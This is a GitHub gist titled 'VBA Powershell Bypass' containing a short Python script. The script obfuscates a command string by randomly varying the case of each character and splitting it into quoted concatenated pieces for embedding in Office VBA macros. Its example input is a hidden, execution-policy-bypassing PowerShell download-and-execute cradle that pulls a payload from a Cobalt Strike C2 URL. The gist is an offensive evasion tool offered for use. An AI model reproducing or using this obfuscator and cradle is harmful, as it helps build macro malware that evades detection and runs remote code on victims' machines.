Skip to content

Instantly share code, notes, and snippets.

@Udyz
Last active April 14, 2024 14:39
Show Gist options
  • Save Udyz/8bab10680d7401063d104f581e67cc7c to your computer and use it in GitHub Desktop.
Save Udyz/8bab10680d7401063d104f581e67cc7c to your computer and use it in GitHub Desktop.
VBA Powershell Bypass
import random
def cmd(string):
for _ in string:
_ = _.replace("'", '\"')
_ = _.replace('"', '\"')
s = random.choice(["'"+_.lower()+"'+", "'"+_.upper()+"'+"]).replace(")'+", ")'")
print(s, end='')
cmd("powershell.exe nop -wind hidden -Exec Bypass -noni -enc -C IeX (NeW-OBjeCt Net.WeBClIeNt).DownloadString('hxxp://c2.cobaltstrike.com/Malicious')")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment